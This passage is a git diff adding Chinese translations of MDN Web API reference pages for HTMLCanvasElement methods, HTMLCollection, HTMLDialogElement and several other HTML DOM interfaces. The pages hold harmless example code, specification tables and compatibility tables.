规范状态备注
{{SpecName('HTML WHATWG', "scripting.html#dom-canvas-todataurl", "HTMLCanvasElement.toDataURL")}}{{Spec2('HTML WHATWG')}}No change since the latest snapshot, {{SpecName('HTML5 W3C')}}
{{SpecName('HTML5.1', "scripting-1.html#dom-canvas-todataurl", "HTMLCanvasElement.toDataURL")}}{{Spec2('HTML5.1')}}
{{SpecName('HTML5 W3C', "scripting-1.html#dom-canvas-todataurl", "HTMLCanvasElement.toDataURL")}}{{Spec2('HTML5 W3C')}}Snapshot of the {{SpecName('HTML WHATWG')}} containing the initial definition.
+ +

浏览器兼容性

+ + + +

{{Compat("api.HTMLCanvasElement.toDataURL")}}

+ +
+ +

参考

+ + diff --git a/files/zh-cn/web/api/htmlcanvaselement/transfercontroltooffscreen/index.html b/files/zh-cn/web/api/htmlcanvaselement/transfercontroltooffscreen/index.html new file mode 100644 index 0000000000..6320ad324e --- /dev/null +++ b/files/zh-cn/web/api/htmlcanvaselement/transfercontroltooffscreen/index.html @@ -0,0 +1,65 @@ +--- +title: HTMLCanvasElement.transferControlToOffscreen() +slug: Web/API/HTMLCanvasElement/transferControlToOffscreen +tags: + - Canvas + - Web图形技术 + - 离屏Canvas +translation_of: Web/API/HTMLCanvasElement/transferControlToOffscreen +--- +
{{APIRef("Canvas API")}} {{SeeCompatTable}}
+ +

方法 HTMLCanvasElement.transferControlToOffscreen() 将控制转移到一个在主线程或者web worker的 {{domxref("OffscreenCanvas")}} 对象上。

+ +

用法

+ +
OffscreenCanvas HTMLCanvasElement.transferControlToOffscreen()
+ +

返回值

+ +

一个 {{domxref("OffscreenCanvas")}} 对象。

+ +

样例

+ +
var htmlCanvas = document.createElement('canvas');
+var offscreen = htmlCanvas.transferControlToOffscreen();
+var gl = offscreen.getContext('webgl');
+
+// ... some drawing using the gl context ...
+
+// Push frames back to the original HTMLCanvasElement
+gl.commit();
+
+ +

规范

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('HTML WHATWG', "canvas.html#dom-canvas-transfercontroltooffscreen", "HTMLCanvasElement.transferControlToOffscreen()")}}{{Spec2('HTML WHATWG')}}
+ +

浏览器兼容性

+ +
+ + +

{{Compat("api.HTMLCanvasElement.transferControlToOffscreen")}}

+
+ +

查阅

+ + diff --git a/files/zh-cn/web/api/htmlcanvaselement/webglcontextlost_event/index.html b/files/zh-cn/web/api/htmlcanvaselement/webglcontextlost_event/index.html new file mode 100644 index 0000000000..bd8c206ab8 --- /dev/null +++ b/files/zh-cn/web/api/htmlcanvaselement/webglcontextlost_event/index.html @@ -0,0 +1,82 @@ +--- +title: 'HTMLCanvasElement: webglcontextlost event' +slug: Web/API/HTMLCanvasElement/webglcontextlost_event +translation_of: Web/API/HTMLCanvasElement/webglcontextlost_event +--- +
{{APIRef}}
+ +
+ +
+

如果浏览器检测到与 {{domxref("WebGLRenderingContext")}}对象关联的图形缓冲区已丢失,则会触发WebGL API 中的webglcontextlost 事件.

+
+ + + + + + + + + + + + + + + + + + + + +
冒泡Yes
可取消Yes
继承{{domxref("WebGLContextEvent")}}
事件处理程序属性none
+ +

例子

+ +

在 {{domxref("WEBGL_lose_context")}} 扩展的帮助下,您可以模拟 webglcontextlost 事件:

+ +
const canvas = document.getElementById('canvas');
+const gl = canvas.getContext('webgl');
+
+canvas.addEventListener('webglcontextlost', (event) => {
+  console.log(event);
+});
+
+//WEBGL_lose_context是webgl是属于 WebGLAPI 的一个扩展API,它提供一组方法用来模拟一个 WebGLRenderingContext 上下文的丢失和恢复。
+gl.getExtension('WEBGL_lose_context').loseContext();
+
+// "webglcontextlost" event is logged.
+ +

标准

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('WebGL', '#5.15.2', 'webglcontextlost')}}{{Spec2('WebGL')}}Initial definition.
+ +

浏览器兼容性

+ +
+ + +

{{Compat("api.HTMLCanvasElement.webglcontextlost_event")}}

+
+ +

请参阅

+ + diff --git a/files/zh-cn/web/api/htmlcanvaselement/width/index.html b/files/zh-cn/web/api/htmlcanvaselement/width/index.html new file mode 100644 index 0000000000..2384c0eb2d --- /dev/null +++ b/files/zh-cn/web/api/htmlcanvaselement/width/index.html @@ -0,0 +1,123 @@ +--- +title: HTMLCanvasElement.width +slug: Web/API/HTMLCanvasElement/width +translation_of: Web/API/HTMLCanvasElement/width +--- +
+
+
{{APIRef("Canvas API")}}
+
+
+ +

HTMLCanvasElement.width 属性是一个对应 {{HTMLElement("canvas")}} 元素 CSS 像素 {{htmlattrxref("width", "canvas")}} 的正整数. 当这个属性没有指定时, 或者被赋予一个不合法的值, 比如一个负值, 默认使用 300.

+ +

这是其中之一,另一个是 {{domxref("HTMLCanvasElement.height")}}, 它们控制了 canvas 的大小尺寸.

+ +

语法

+ +
var pxl = canvas.width;
+canvas.width = pxl;
+
+ +

示例

+ +

有这样一个 {{HTMLElement("canvas")}} 元素:

+ +
<canvas id="canvas" width="300" height="300"></canvas>
+
+ +

你能够通过下面的代码得到 canvas 的宽度:

+ +
var canvas = document.getElementById('canvas');
+console.log(canvas.width); // 300
+
+ +

规范

+ + + + + + + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('HTML WHATWG', "scripting.html#attr-canvas-width", "HTMLCanvasElement.width")}}{{Spec2('HTML WHATWG')}}No change since the latest snapshot, {{SpecName('HTML5 W3C')}}
{{SpecName('HTML5.1', "scripting-1.html#attr-canvas-width", "HTMLCanvasElement.width")}}{{Spec2('HTML5.1')}} 
{{SpecName('HTML5 W3C', "scripting-1.html#attr-canvas-width", "HTMLCanvasElement.width")}}{{Spec2('HTML5 W3C')}}Snapshot of the {{SpecName('HTML WHATWG')}} containing the initial definition.
+ +

浏览器兼容性

+ +

{{ CompatibilityTable() }}

+ +
+ + + + + + + + + + + + + + + + + + + + + +
FeatureChromeEdgeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support{{ CompatChrome(4) }}{{CompatVersionUnknown}}{{ CompatGeckoDesktop("1.9.2") }}{{ CompatIE(9) }}{{ CompatOpera(9) }}{{ CompatSafari(3.1) }}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidChrome for AndroidEdgeFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Basic support{{ CompatVersionUnknown() }}{{ CompatVersionUnknown() }}{{CompatVersionUnknown}}{{ CompatGeckoMobile("1.9.2") }}{{ CompatVersionUnknown() }}{{ CompatVersionUnknown() }}{{ CompatVersionUnknown() }}
+
+ +

查看更多

+ + diff --git "a/files/zh-cn/web/api/htmlcanvaselement/\346\215\225\350\216\267\346\265\201/index.html" "b/files/zh-cn/web/api/htmlcanvaselement/\346\215\225\350\216\267\346\265\201/index.html" new file mode 100644 index 0000000000..999485b6f6 --- /dev/null +++ "b/files/zh-cn/web/api/htmlcanvaselement/\346\215\225\350\216\267\346\265\201/index.html" @@ -0,0 +1,122 @@ +--- +title: HTMLCanvasElement.captureStream() +slug: Web/API/HTMLCanvasElement/捕获流 +translation_of: Web/API/HTMLCanvasElement/captureStream +--- +
{{APIRef("Media Capture and Streams")}}{{SeeCompatTable}}
+ +

HTMLCanvasElement.captureStream() 方法返回的 {{domxref("CanvasCaptureMediaStream")}} 是一个实时视频捕获的画布。

+ +

语法

+ +
MediaStream = canvas.captureStream(frameRate);
+
+ +

参数

+ +
+
frameRate 可选
+
设置双精准度浮点值为每个帧的捕获速率。如果未设置,则每次画布更改时都会捕获一个新帧。如果设置为0,则会捕获单个帧。
+
+ +

返回值

+ +

对一个 {{domxref("MediaStream")}} 对象的引用.

+ +

例子

+ +
//获取所需要截取媒体流的canvas element
+var canvasElt = document.querySelector('canvas');
+
+//截取到媒体流
+var stream = canvasElt.captureStream(25); // 25 FPS
+
+//使用媒体流
+// E.g.使用RTCPeerConnection来传输给其它的电脑
+// 下面的pc是其他地方创建的一个RTCPeerConnection
+pc.addStream(stream);
+
+ +

产品规格

+ + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('Media Capture DOM Elements', '#widl-HTMLCanvasElement-captureStream-CanvasCaptureMediaStream-double-frameRate', 'HTMLCanvasElement.captureStream()')}}{{Spec2('Media Capture DOM Elements')}}Initial definition
+ +

浏览器兼容性

+ +

{{CompatibilityTable}}

+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support{{CompatChrome(51.0)}}{{CompatGeckoDesktop(43)}}[1]{{CompatNo}}{{CompatOpera(36.0)}}{{CompatUnknown}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidAndroid WebviewChrome for AndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Basic support{{CompatNo}}{{CompatChrome(51.0)}}{{CompatChrome(51.0)}}{{CompatGeckoMobile(43)}}{{CompatNo}}{{CompatOpera(38)}}{{CompatUnknown}}
+
+ +

[1] 在Firefox 41和42中,此功能默认是禁用的; 将首选项 canvas.capturestream.enabled 设置 true 。

+ +

看看其他

+ + diff --git a/files/zh-cn/web/api/htmlcollection/index.html b/files/zh-cn/web/api/htmlcollection/index.html new file mode 100644 index 0000000000..07358016cb --- /dev/null +++ b/files/zh-cn/web/api/htmlcollection/index.html @@ -0,0 +1,66 @@ +--- +title: HTMLCollection +slug: Web/API/HTMLCollection +translation_of: Web/API/HTMLCollection +--- +

{{ APIRef("HTML DOM") }}

+ +

HTMLCollection 接口表示一个包含了元素(元素顺序为文档流中的顺序)的通用集合(generic collection),还提供了用来从该集合中选择元素的方法和属性。

+ +
注意:由于历史原因(DOM4之前,实现该接口的集合只能包含 HTML 元素),该接口被称为 HTMLCollection
+ +

HTML DOM 中的 HTMLCollection 是即时更新的(live);当其所包含的文档结构发生改变时,它会自动更新。

+ +

属性

+ +
+
{{domxref("HTMLCollection.length")}} {{readonlyInline}}
+
返回集合当中子元素的数目。
+
+ +

方法

+ +
+
{{domxref("HTMLCollection.item()")}}
+
根据给定的索引(从0开始),返回具体的节点。如果索引超出了范围,则返回 null
+
{{domxref("HTMLCollection.namedItem()")}}
+
根据 Id 返回指定节点,或者作为备用,根据字符串所表示的 name 属性来匹配。根据 name 匹配只能作为最后的依赖,并且只有当被引用的元素支持 name 属性时才能被匹配。如果不存在符合给定 name 的节点,则返回 null
+
+ +

在 JavaScript 中使用

+ +

在 JavaScript 中,为了获取给定的 HTMLCollection 的元素,可以使用方括号语法来代替直接调用 item()namedItem() 方法。在方括号中,数值如同 item(),字符串值如同 namedItem()。

+ +

例如,假定在文档中有一个 <form> 元素,且它的 id 是 "myForm"

+ +
var elem1, elem2;
+
+// document.forms 是一个 HTMLCollection
+
+elem1 = document.forms[0];
+elem2 = document.forms.item(0);
+
+alert(elem1 === elem2); // 显示 "true"
+
+elem1 = document.forms["myForm"];
+elem2 = document.forms.namedItem("myForm");
+
+alert(elem1 === elem2); // 显示 "true"
+ +

浏览器兼容性

+ +

当使用字符串作为 namedItem 的参数,且匹配的元素多于一个时,不同的浏览器表现不同。Firefox 8 表现如同 DOM 2 和 DOM 4 说明的,返回第一个匹配的元素。而 Webkit 浏览器和 IE 返回另外一个 HTMLCollection,Opera 返回一个包含所有元素的 {{domxref("NodeList")}}。

+ +

规范

+ + + +

相关链接

+ + diff --git a/files/zh-cn/web/api/htmlcollection/item/index.html b/files/zh-cn/web/api/htmlcollection/item/index.html new file mode 100644 index 0000000000..4d1ad8a5c8 --- /dev/null +++ b/files/zh-cn/web/api/htmlcollection/item/index.html @@ -0,0 +1,36 @@ +--- +title: HTMLCollection.item +slug: Web/API/HTMLCollection/item +translation_of: Web/API/HTMLCollection/item +--- +

{{APIRef("HTML DOM")}}

+ +

HTMLCollection.item() 由位置获取元素.

+ +

参数

+ +
+
index
+
想要被返回的Node的位置. 元素在HTML Collection中的顺序和他们在源文档的顺序保持一致。
+
+ +

返回值

+ +

指定的index的{{domxref("Node")}} , 如果index小于0或者不小于它的长度属性则返回null。

+ +

Description

+ +

HTMLCollection中item( )方法返回一个编号的元素 ,在JavaScript中把HTMLCollection当成是一个是数组并用数组符号去索引十分简单。

+ +

Example

+ +
var c = document.images;  // This is an HTMLCollection
+var img0 = c.item(0);     // You can use the item( ) method this way
+var img1 = c[1];          // But this notation is easier and more common
+
+ +

See also

+ + diff --git a/files/zh-cn/web/api/htmlcontentelement/index.html b/files/zh-cn/web/api/htmlcontentelement/index.html new file mode 100644 index 0000000000..6efd207afb --- /dev/null +++ b/files/zh-cn/web/api/htmlcontentelement/index.html @@ -0,0 +1,54 @@ +--- +title: HTMLContentElement +slug: Web/API/HTMLContentElement +tags: + - API + - DOM + - 参考 + - 接口 +translation_of: Web/API/HTMLContentElement +--- +

{{ APIRef("Web Components") }}

+ +

{{Deprecated_header}}

+ +

HTMLContentElement 接口表示一个 HTML {{HTMLElement("content")}} 元素。<content> 元素曾被用于 Shadow DOM

+ +

属性

+ +

此接口继承 {{domxref("HTMLElement")}} 接口的属性。

+ +
+
{{domxref("HTMLContentElement.select")}}
+
Is a {{domxref("DOMString")}} that reflects the {{ htmlattrxref("select", "content") }} HTML attribute. The value is a comma-separated list of CSS selectors that select the content to insert in place of the <content> element.
+
+ +

方法

+ +

此接口继承 {{domxref("HTMLElement")}} 接口的方法。

+ +
+
{{domxref("HTMLContentElement.getDistributedNodes()")}}
+
Returns a static {{domxref("NodeList")}} of the {{glossary("distributed nodes")}} associated with this <content> element. 
+
+ +

规范

+ +

此特性不再存在于任何标准中。

+ +

浏览器兼容性

+ + + +

{{Compat("api.HTMLContentElement")}}

+ +

参见

+ + + +
+
+
diff --git a/files/zh-cn/web/api/htmldataelement/index.html b/files/zh-cn/web/api/htmldataelement/index.html new file mode 100644 index 0000000000..504b6c0eec --- /dev/null +++ b/files/zh-cn/web/api/htmldataelement/index.html @@ -0,0 +1,68 @@ +--- +title: HTMLDataElement +slug: Web/API/HTMLDataElement +tags: + - API + - HTML DOM + - HTMLDataElement + - Interface + - NeedsTranslation + - Reference + - TopicStub + - data +translation_of: Web/API/HTMLDataElement +--- +
{{APIRef("HTML DOM")}}
+ +

The HTMLDataElement interface provides special properties (beyond the regular {{domxref("HTMLElement")}} interface it also has available to it by inheritance) for manipulating {{HTMLElement("data")}} elements.

+ +

{{InheritanceDiagram(600, 120)}}

+ +

Properties

+ +

Inherits properties from its parent, {{domxref("HTMLElement")}}.

+ +
+
{{domxref("HTMLDataElement.value")}}
+
Is a {{domxref("DOMString")}} reflecting the {{htmlattrxref("value", "data")}} HTML attribute, containing a machine-readable form of the element's value.
+
+ +

Methods

+ +

No specific method; inherits methods from its parent, {{domxref("HTMLElement")}}.

+ +

Specifications

+ + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('HTML WHATWG', "#htmldataelement", "HTMLDataElement")}}{{Spec2('HTML WHATWG')}} 
{{SpecName('HTML5 W3C', 'text-level-semantics.html#the-data-element', 'HTMLDataElement')}}{{Spec2('HTML5 W3C')}} 
+ +

Browser compatibility

+ +
+ + +

{{Compat("api.HTMLDataElement")}}

+
+ +

See also

+ + diff --git a/files/zh-cn/web/api/htmldataelement/value/index.html b/files/zh-cn/web/api/htmldataelement/value/index.html new file mode 100644 index 0000000000..cc849ee548 --- /dev/null +++ b/files/zh-cn/web/api/htmldataelement/value/index.html @@ -0,0 +1,45 @@ +--- +title: HTMLDataElement.value +slug: Web/API/HTMLDataElement/value +translation_of: Web/API/HTMLDataElement/value +--- +

{{APIRef("HTML DOM")}}

+ +

{{domxref("HTMLDataElement")}} 接口的 value 属性返回反映   {{htmlattrxref("value", "data")}} HTML 属性的{{domxref("DOMString")}} 。

+ +

Syntax

+ +
var aValue = htmlDataElement.value
+htmlDataElement.value = aValue
+ +

Value

+ +

A {{domxref("DOMString")}}.

+ +

Specifications

+ + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('HTML WHATWG', "#dom-data-value", "HTMLDataElement.value")}}{{Spec2('HTML WHATWG')}}
{{SpecName('HTML5 W3C','text-level-semantics.html#dom-data-value','value')}}{{Spec2('HTML5 W3C')}}
+ +

Browser compatibility

+ + + +

{{Compat("api.HTMLDataElement.value")}}

diff --git a/files/zh-cn/web/api/htmldetailselement/index.html b/files/zh-cn/web/api/htmldetailselement/index.html new file mode 100644 index 0000000000..6b554dc11b --- /dev/null +++ b/files/zh-cn/web/api/htmldetailselement/index.html @@ -0,0 +1,44 @@ +--- +title: HTMLDetailsElement +slug: Web/API/HTMLDetailsElement +translation_of: Web/API/HTMLDetailsElement +--- +

{{APIRef("HTML DOM")}}

+ +

HTMLDetailsElement 接口提供了特殊的属性 (除了常规的 {{domxref("HTMLElement")}} 接口之外,它还可以通过继承获得这些属性) 用于操作 {{HTMLElement("details")}} 元素.

+ +

{{InheritanceDiagram(600, 120)}}

+ +

属性

+ +

从其父级 {{domxref("HTMLElement")}} 继承属性.

+ +
+
{{domxref("HTMLDetailsElement.open")}}
+
是一个 {{domxref("boolean")}} 反射 {{htmlattrxref("open", "details")}} HTML属性, 指示是否向用户显示元素的内容 (不包括 {{HTMLElement("summary")}})
+
+ +

方法

+ +

没有特定的方法;继承其父方法 {{domxref("HTMLElement")}}.

+ +

规格

+ + + +

浏览器兼容性

+ +
+ + +

{{Compat("api.HTMLDetailsElement")}}

+
+ +

另见

+ + diff --git a/files/zh-cn/web/api/htmldetailselement/toggle_event/index.html b/files/zh-cn/web/api/htmldetailselement/toggle_event/index.html new file mode 100644 index 0000000000..b1129b4298 --- /dev/null +++ b/files/zh-cn/web/api/htmldetailselement/toggle_event/index.html @@ -0,0 +1,120 @@ +--- +title: 'HTMLDetailsElement: toggle event' +slug: Web/API/HTMLDetailsElement/toggle_event +translation_of: Web/API/HTMLDetailsElement/toggle_event +--- +
+

{{APIRef}}

+ +

当{{HtmlElement("details")}}元素打开/关闭状态被切换时,切换事件会触发。

+ + + + + + + + + + + + + + + + + + + + + + + + +
BubblesNo
CancelableNo
Interface{{DOMxRef("Event")}}
Event handler propertyNone
Default ActionToggles the open state of the {{HtmlElement("details")}} element.
+ +

例子

+ +

此示例记录打开的章节。 当章节关闭时,它们将从日志中删除。

+ +

HTML

+ +
<aside id="log">
+  <b>Open chapters:</b>
+  <div data-id="ch1" hidden>I</div>
+  <div data-id="ch2" hidden>II</div>
+  <div data-id="ch3" hidden>III</div>
+</aside>
+<section id="summaries">
+  <b>Chapter summaries:</b>
+  <details id="ch1">
+    <summary>Chapter I</summary>
+    Philosophy reproves Boethius for the foolishness of his complaints against Fortune. Her very nature is caprice.
+  </details>
+  <details id="ch2">
+    <summary>Chapter II</summary>
+    Philosophy in Fortune's name replies to Boethius' reproaches, and proves that the gifts of Fortune are hers to give and to take away.
+  </details>
+  <details id="ch3">
+    <summary>Chapter III</summary>
+    Boethius falls back upon his present sense of misery. Philosophy reminds him of the brilliancy of his former fortunes.
+  </details>
+</section>
+ +

CSS

+ +
body {
+  display: flex;
+  flex-direction: row-reverse;
+}
+
+#log {
+  flex-shrink: 0;
+  padding-left: 3em;
+}
+
+#summaries {
+  flex-grow: 1;
+}
+ +

JavaScript

+ +
function logItem(e) {
+  const item = document.querySelector(`[data-id=${e.target.id}]`);
+  item.toggleAttribute('hidden');
+}
+
+const chapters = document.querySelectorAll('details');
+chapters.forEach((chapter) => {
+  chapter.addEventListener('toggle', logItem);
+});
+ +

Result

+ +

{{EmbedLiveSample("Examples", 700, 200)}}

+ +

规范

+ + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('HTML WHATWG', 'indices.html#event-toggle', 'toggle event')}}{{Spec2("HTML WHATWG")}}
+ +

浏览器兼容性

+ +

The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.

+ +

{{Compat("api.HTMLDetailsElement.toggle_event")}}

+
diff --git a/files/zh-cn/web/api/htmldialogelement/index.html b/files/zh-cn/web/api/htmldialogelement/index.html new file mode 100644 index 0000000000..95a1784e3a --- /dev/null +++ b/files/zh-cn/web/api/htmldialogelement/index.html @@ -0,0 +1,247 @@ +--- +title: HTMLDialogElement +slug: Web/API/HTMLDialogElement +tags: + - API + - HTML DOM + - Interface + - Reference +translation_of: Web/API/HTMLDialogElement +--- +
{{ APIRef("HTML DOM") }}
+ +

{{ SeeCompatTable() }}

+ +

HTMLDialogElement接口提供操作{{HTMLElement("dialog")}} 元素的方法.。此接口的方法和属性继承自 {{domxref("HTMLElement")}} 接口。

+ +

属性

+ +

继承自父接口, {{domxref("HTMLElement")}}。

+ + + + + + + + + + + + + + + + + + + + + +
名称类型描述
open{{domxref("Boolean")}}来自{{ htmlattrxref("open", "dialog") }} HTML 属性, 表示这个对话框可以进行互动.
returnValue{{domxref("DOMString")}}用户获取对话框的值
+ +

方法

+ +

继承自父接口 , {{domxref("HTMLElement")}}。

+ + + + + + + + + + + + + + + + + + + + + + + + + + +
名称和参数类型描述
close() {{ HTMLVersionInline(5) }}void关闭对话框。 可选传入类型为{domxref("DOMString")}}的参数,用来更新对话框的returnValue。
show() {{ HTMLVersionInline(5) }}void非模式化的显示这个对话框, 即:打开这个对话框之后依然可以和其他内容进行交互。 可选传入类型为 {{domxref("Element")}} 或者 {{domxref("MouseEvent")}} 的参数,用来定义对话框的显示位置。
showModal() {{ HTMLVersionInline(5) }}void模式化的显示这个对话框, 并且将会至于所有其他对话框的顶层(屏蔽其他对话框的交互)。 可选传入类型为{{domxref("Element")}} 或者 {{domxref("MouseEvent")}} 的参数, 用来定义对话框的显示位置。
+ +

Examples

+ +

Example 1

+ +
<!-- Anchor point example -->
+<dialog id="bronteDialog">
+  <p>That was part of a poem by Emily Brontë!</p>
+</dialog>
+
+<blockquote>
+  <p>"Then art thou glad to seek repose?<br>
+  Art glad to leave the sea,<br>
+  And <strong id="anchor">anchor</strong> all thy weary woes<br>
+  In calm Eternity?"</p>
+</blockquote>
+
+<menu>
+  <button id="showDialogButton">Show dialog</button>
+</menu>
+
+<script>
+  (function() {
+    var showDialogButton = document.getElementById('showDialogButton');
+
+    // 'Show dialog' button opens dialog, anchored at third line of quote
+    showDialogButton.addEventListener('click', function() {
+      var bronteDialog = document.getElementById('bronteDialog');
+      var anchorPoint = document.getElementById('anchor');
+      bronteDialog.show(anchorPoint);
+    });
+
+  })();
+</script>
+
+ +

Example 2

+ +
<!-- Simple pop-up dialog box, containing a form -->
+<dialog id="favDialog">
+  <form method="dialog">
+    <section>
+      <p><label for="favAnimal">Favorite animal:</label>
+      <select id="favAnimal" name="favAnimal">
+        <option></option>
+        <option>Brine shrimp</option>
+        <option>Red panda</option>
+        <option>Spider monkey</option>
+      </select></p>
+    </section>
+    <menu>
+      <button id="cancel" type="reset">Cancel</button>
+      <button type="submit">Confirm</button>
+    </menu>
+  </form>
+</dialog>
+
+<menu>
+  <button id="updateDetails">Update details</button>
+</menu>
+
+<script>
+  (function() {
+    var updateButton = document.getElementById('updateDetails');
+    var cancelButton = document.getElementById('cancel');
+
+    // Update button opens a modal dialog
+    updateButton.addEventListener('click', function() {
+      document.getElementById('favDialog').showModal();
+    });
+
+    // Form cancel button closes the dialog box
+    cancelButton.addEventListener('click', function() {
+      document.getElementById('favDialog').close();
+    });
+
+  })();
+</script>
+
+ +

规范

+ + + + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('HTML WHATWG', 'forms.html#the-dialog-element', '<dialog>')}}{{Spec2('HTML WHATWG')}} 
{{SpecName('HTML5.1', 'interactive-elements.html#the-dialog-element', '<dialog>')}}{{Spec2('HTML5.1')}} 
+ +

浏览器兼容性

+ +

{{CompatibilityTable}}

+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + +
特性ChromeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support37{{CompatNo()}} {{bug(840640)}}{{CompatNo()}}24{{CompatNo()}}
Anchor points{{CompatNo()}}{{CompatNo()}}{{CompatNo()}}{{CompatNo()}}{{CompatNo()}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + +
特性AndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Basic support{{CompatNo()}}{{CompatNo()}}{{CompatNo()}}{{CompatNo()}}{{CompatNo()}}
Anchor points{{CompatNo()}}{{CompatNo()}}{{CompatNo()}}{{CompatNo()}}{{CompatNo()}}
+
+ +

See also

+ + diff --git a/files/zh-cn/web/api/htmldialogelement/show/index.html b/files/zh-cn/web/api/htmldialogelement/show/index.html new file mode 100644 index 0000000000..b5e43d3632 --- /dev/null +++ b/files/zh-cn/web/api/htmldialogelement/show/index.html @@ -0,0 +1,113 @@ +--- +title: HTMLDialogElement.show() +slug: Web/API/HTMLDialogElement/show +translation_of: Web/API/HTMLDialogElement/show +--- +

{{ APIRef("HTML DOM") }} {{ SeeCompatTable() }}

+ +

The show() method of the {{domxref("HTMLDialogElement")}} interface displays the dialog modelessly, i.e. still allowing interaction with content outside of the dialog.

+ +

Syntax

+ +
dialogInstance.show();
+ +

Parameters

+ +

None.

+ +

Return value

+ +

Void.

+ +

Examples

+ +

The following example shows a simple button that, when clicked, opens a {{htmlelement("dialog")}} containing a form via the show() method. From there you can click the Cancel button to close the dialog (via the {{domxref("HTMLDialogElement.close()")}} method), or submit the form via the submit button.

+ +
  <!-- Simple pop-up dialog box, containing a form -->
+  <dialog id="favDialog">
+    <form method="dialog">
+      <section>
+        <p><label for="favAnimal">Favorite animal:</label>
+        <select id="favAnimal" name="favAnimal">
+          <option></option>
+          <option>Brine shrimp</option>
+          <option>Red panda</option>
+          <option>Spider monkey</option>
+        </select></p>
+      </section>
+      <menu>
+        <button id="cancel" type="reset">Cancel</button>
+        <button type="submit">Confirm</button>
+      </menu>
+    </form>
+  </dialog>
+
+  <menu>
+    <button id="updateDetails">Update details</button>
+  </menu>
+
+  <script>
+    (function() {
+      var updateButton = document.getElementById('updateDetails');
+      var cancelButton = document.getElementById('cancel');
+      var dialog = document.getElementById('favDialog');
+      dialog.returnValue = 'favAnimal';
+
+      function openCheck(dialog) {
+        if(dialog.open) {
+          console.log('Dialog open');
+        } else {
+          console.log('Dialog closed');
+        }
+      }
+
+      // Update button opens a modal dialog
+      updateButton.addEventListener('click', function() {
+        dialog.showModal();
+        openCheck(dialog);
+      });
+
+      // Form cancel button closes the dialog box
+      cancelButton.addEventListener('click', function() {
+        dialog.close('animalNotChosen');
+        openCheck(dialog);
+      });
+
+    })();
+  </script>
+ +

Specifications

+ + + + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('HTML WHATWG', 'forms.html#dom-dialog-show', 'show()')}}{{Spec2('HTML WHATWG')}} 
{{SpecName('HTML5.1', 'interactive-elements.html#dom-htmldialogelement-show', 'show()')}}{{Spec2('HTML5.1')}} 
+ +

Browser compatibility

+ + + +

{{Compat("api.HTMLDialogElement.show")}}

+ +

See also

+ + diff --git a/files/zh-cn/web/api/htmldivelement/index.html b/files/zh-cn/web/api/htmldivelement/index.html new file mode 100644 index 0000000000..b4bf0a0822 --- /dev/null +++ b/files/zh-cn/web/api/htmldivelement/index.html @@ -0,0 +1,67 @@ +--- +title: HTMLDivElement +slug: Web/API/HTMLDivElement +translation_of: Web/API/HTMLDivElement +--- +
{{ APIRef("HTML DOM") }}
+ +

HTMLDivElement 接口提供了一些特殊属性(它也继承了通常的 {{domxref("HTMLElement")}} 接口)来操作 {{HtmlElement("div")}} 元素。

+ +

{{InheritanceDiagram(600,120)}}

+ +

属性

+ +

属性继承自父类,{{domxref("HTMLElement")}}。

+ +
+
{{domxref("HTMLDivElement.align")}} {{obsolete_inline}}
+
这是一个 {{domxref("DOMString")}} 表示一个指示元素内容相对于周围内容的对齐方式的可枚举属性。可取的值有 "left""right""justify",和 "center"
+
+ +

方法

+ +

没有特有的方法;方法继承自父类,{{domxref("HTMLElement")}}。

+ +

规范

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('HTML WHATWG', "#htmldivelement", "HTMLDivElement")}}{{Spec2('HTML WHATWG')}} 
{{SpecName('HTML5 W3C', "grouping-content.html#the-div-element", "HTMLDivElement")}}{{Spec2('HTML5 W3C')}}No change from {{SpecName("DOM2 HTML")}}.
{{SpecName('DOM2 HTML', 'html.html#ID-22445964', 'HTMLDivElement')}}{{Spec2('DOM2 HTML')}}No change from {{SpecName("DOM1")}}.
{{SpecName('DOM1', 'level-one-html.html#ID-22445964', 'HTMLDivElement')}}{{Spec2('DOM1')}}Initial definition.
+ +

浏览器兼容性

+ + + +

{{Compat("api.HTMLDivElement")}}

+ +

参见

+ + diff --git a/files/zh-cn/web/api/htmldocument/index.html b/files/zh-cn/web/api/htmldocument/index.html new file mode 100644 index 0000000000..6c3e5f952a --- /dev/null +++ b/files/zh-cn/web/api/htmldocument/index.html @@ -0,0 +1,38 @@ +--- +title: HTMLDocument +slug: Web/API/HTMLDocument +translation_of: Web/API/HTMLDocument +--- +

{{ APIRef("HTML DOM") }}

+ +

HTMLDocument 是 DOM 的一个抽象接口,它提供了 XML 文档里没有出现的特殊属性和方法。

+ +

它的属性和方法包含在 {{domxref("Document")}} 接口页面中,并且每个属性和方法都分成小节进行了介绍。

+ +

HTMLDocument 对象继承了 Document 接口和 HTMLDocument 接口。因此它有比 Document 更多的属性。并且与 XMLDocument 不同的是,HTMLDocument 是具有外观的,并且要管理它后代的 HTMLElement。

+ +

规范

+ + + + + + + + + + + + + + + + + + + +
{{SpecName('DOM1','level-one-html.html#ID-26809268','HTMLDocument')}}{{Spec2('DOM1')}}Initial definition for the interface
{{SpecName('DOM2 HTML','html.html#ID-26809268','HTMLDocument')}}{{Spec2('DOM2 HTML')}}Supersede DOM 1
